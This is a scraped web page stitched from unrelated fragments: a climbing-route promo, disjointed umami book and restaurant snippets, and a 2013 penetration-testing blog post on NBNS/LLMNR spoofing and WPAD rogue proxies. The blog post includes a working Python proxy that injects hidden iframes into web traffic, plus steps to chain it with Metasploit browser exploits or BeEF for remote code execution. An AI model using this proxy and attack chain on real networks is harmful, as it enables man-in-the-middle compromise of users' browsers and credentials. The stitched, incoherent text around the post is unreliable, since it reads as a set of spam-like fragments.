At this tower, there are no possibilities for free climbing. The place is mesmerizing and fascinating with the notorious granite tower, reaching thousands of feet high while dropping down to the churning moraine of the Trango and Dunge glaciers.

This route is a mixture of ice and snow while the ascent is of moderate grade, hosting some lower angle rock sections. This route is an amazing way of reaching the summit of Nameless Tower. It is suggested though to try it with an experienced guide that one of the local schools will provide you.

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If you are interested in trying out this amazing sport in this spot press the request button so as to give you more information and prices.


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Umami book

Umami Umami is an intimate dining experience where food aficionados can go to enjoy sitting in a cozy downstairs sushi bar or ascend the grand staircase, admiring the beautiful crystal chandelier en route to the spacious yet intimate dining room.

Umami: Unlocking the Secrets of the Fifth Taste by Ole

This sauce is a rich, umami sauce that is perfect for adding to burgers, other meat marinades or even adding to stir fry and fried rice.The Tex-Mex Grill and Backyard Barbacoa Cookbook is a grand tour of famous Tex-Mex restaurants, taco trucks, cook-offs and tailgating get-togethers, with recipes to bring this popular American regional cuisine to your home grill.The book is written in a very engaging manner, easily moving between vignettes of the latest science and mouth-watering menus and photographs.

10 Foods Naturally High in Umami - Fine Dining Lovers

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Travail: Minneapolis Residency will feature three concepts during our run on Lowry Hill — the first of which will be UMAMI.

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In cooking, there are five tastes: sweet, salty, sour, bitter, and umami.

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Find great deals for Umami by Laia Jufresa (2016, Hardcover).Download for offline reading, highlight, bookmark or take notes while you read Umami: Unlocking the Secrets of the Fifth Taste.

The restaurant was founded by Adam Fleischman, and is part of the Umami Restaurant Group.The ultimate guide to meatless meals, completely updated and better than ever, now for the first time featuring color photos Ten years ago, this breakthrough cookbook made vegetarian cooking accessible to everyone.

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The story centers around the people living in a little complex--a mews-- in Mexico City.

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This site is like a library, Use search box in the widget to get ebook that you want.Umami is almost never good except when combined with other flavors.Last year I was lucky enough to visit China, Korea and Japan in one go.

In 1985, the term umami was recognized as the scientific term to describe the taste of glutamates and nucleotides at the first Umami International Symposium in Hawaii. - Experience It

Umami is a distinct, difficult to describe flavor caused by the interaction of glutamates, a naturally occurring amino acid, with receptors on the tongue.

Umami in Foods: What is Umami and how do I Explain It?

Scott Simon asks Jufresa about the book and the woman who translated it from Spanish to English.Read this book using Google Play Books app on your PC, android, iOS devices.

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Define umami. umami synonyms, umami pronunciation, umami translation, English dictionary definition of umami. n. A taste sensation produced by the presence of glutamates and nucleotides and associated with meats and other high-protein foods.Type in a keyword, phrase, or exact wording and you will be directed to the results.

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Reading a John Maxwell book, laying on the couch and watching Food Network.Ken Niimura, co-creator of the award-winning comic book I KILL GIANTS, comes with his first ongoing series, UMAMI.Download dashi-and-umami or read dashi-and-umami online books in PDF, EPUB and Mobi Format.


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Wednesday, October 2, 2013

Path to Domain Admin: Browser exploitation using Rogue Proxy and NBNS and LLMNR spoofing

SpiderLabs wrote an interesting post on the top 5 ways to get domain admin during an internal penetration testing. This post list methods that allow to have the first foot into the door when we are faced with network access but no valid credentials or machine access.

The most common and the most effective is the 1st one on their list, NBNS and LLMNR poisoning, and it has been extensively discussed in several blog post:

To cite a few good reads:

The power of this technique resides on the ease to crack NetLM hashes with a known challenge (usually 1122334455667788) using rainbow tables.

With the uprise of NTLMv2, this technique is becoming more and more obsolete as NetLMv2 is disabled and in NTLMv2 the attacker can no longer force the challenge to perform rainbow table cracking.

  Client<-Server:  SC
  Client->Server:  H(P,SC)
  Server->DomCntl: H(P,SC), SC
  Server<-DomCntl: yes or no

  Client<-Server:  SC
  Client->Server:  H(P,H'(SC,CC)), CC
  Server->DomCntl: H(P,H'(SC,CC)), H'(SC,CC)
  Server<-DomCntl: yes or no
NTLMv2 uses two challenges before sending the hash to the domain controller, one set by the client and the second by the server as you can see in the diagram.

NBNS and LLMNR spoofing can still be used to performed other attacks, like setting a rogue Proxy using WPAD and doing MitM attack to access session cookies and secret parameters.

This has also been discussed before and has been used by know malware like Flame:

This attack can be enhanced to have remote execution instead of simple MitM by performing Proxy injection.

The principle is very simple, the capacity to intercept HTTP requests through the Proxy allows the attacker to inject anything, and potentially inject Browser exploits.

A simple application of this principle consists of injecting an invisible iframe that will point to Metasploit's Browser Autopwn for example or to BeEF Browser exploitation framework.

To demonstrate this attack, I have created a small Python Proxy using twisted API that injects the iframe when response is received or sends a custom HTML page when the proxy couldn't retrieve the requested page.

from twisted.web import proxy, http
from twisted.internet import reactor
from twisted.python import log
import sys

#change IP and URL here
frame = '<iframe style="visibility:hidden;display:none" src=""></iframe>'

class ProxyClient(proxy.ProxyClient):
    """Mange returned header, content here.

    Use `self.father` methods to modify request directly.
    def handleHeader(self, key, value):
       log.msg("Header %s : %s" % (key, value))
       if key == "Content-Length":
           value = str(int(value) + len(frame))
       proxy.ProxyClient.handleHeader(self, key, value)

    def handleResponsePart(self, buffer):
        log.msg("Content: \n%s" % buffer)
        proxy.ProxyClient.handleResponsePart(self, buffer.replace('<body>','<body>'+frame))

class ProxyClientFactory(proxy.ProxyClientFactory):
    protocol = ProxyClient

    def clientConnectionFailed(self, connector, reason):
        log.msg("Couldn't connect ...")
        #in case the URL is not found, inject here a cutom response
        self.father.transport.write("HTTP/1.0 200 OK\r\n")
        self.father.transport.write("Content-Type: text/html\r\n")

class ProxyRequest(proxy.ProxyRequest):
    protocols = dict(http=ProxyClientFactory)

class Proxy(proxy.Proxy):
    requestFactory = ProxyRequest

class ProxyFactory(http.HTTPFactory):
    protocol = Proxy

factory = ProxyFactory()
#change proxy port here
reactor.listenTCP(9999, factory, interface = '')

The code is only a PoC and has been serving my purpose, but there is a room for improvement to integrate support for HTTPS and make it more user friendly.

So to perform the attack, let's assume our IP address is

  1. Enable NBNS and LLMNR spoofing using Metasploit with SPOOFIP as
  2. Run WPAD server on Metasploit on port 80 setting the proxy as
  3. Run Metasploit browser_autopwn or a specific browser exploit on port 7777 at URL '/exploit' (the same principle applies for BeEF)
  4. Run the Rogue Proxy ... and wait !

These port numbers and IP address are hard-coded in the script, changes are therefore necessary to suit your own environment.

Good hacking !

1 comment:


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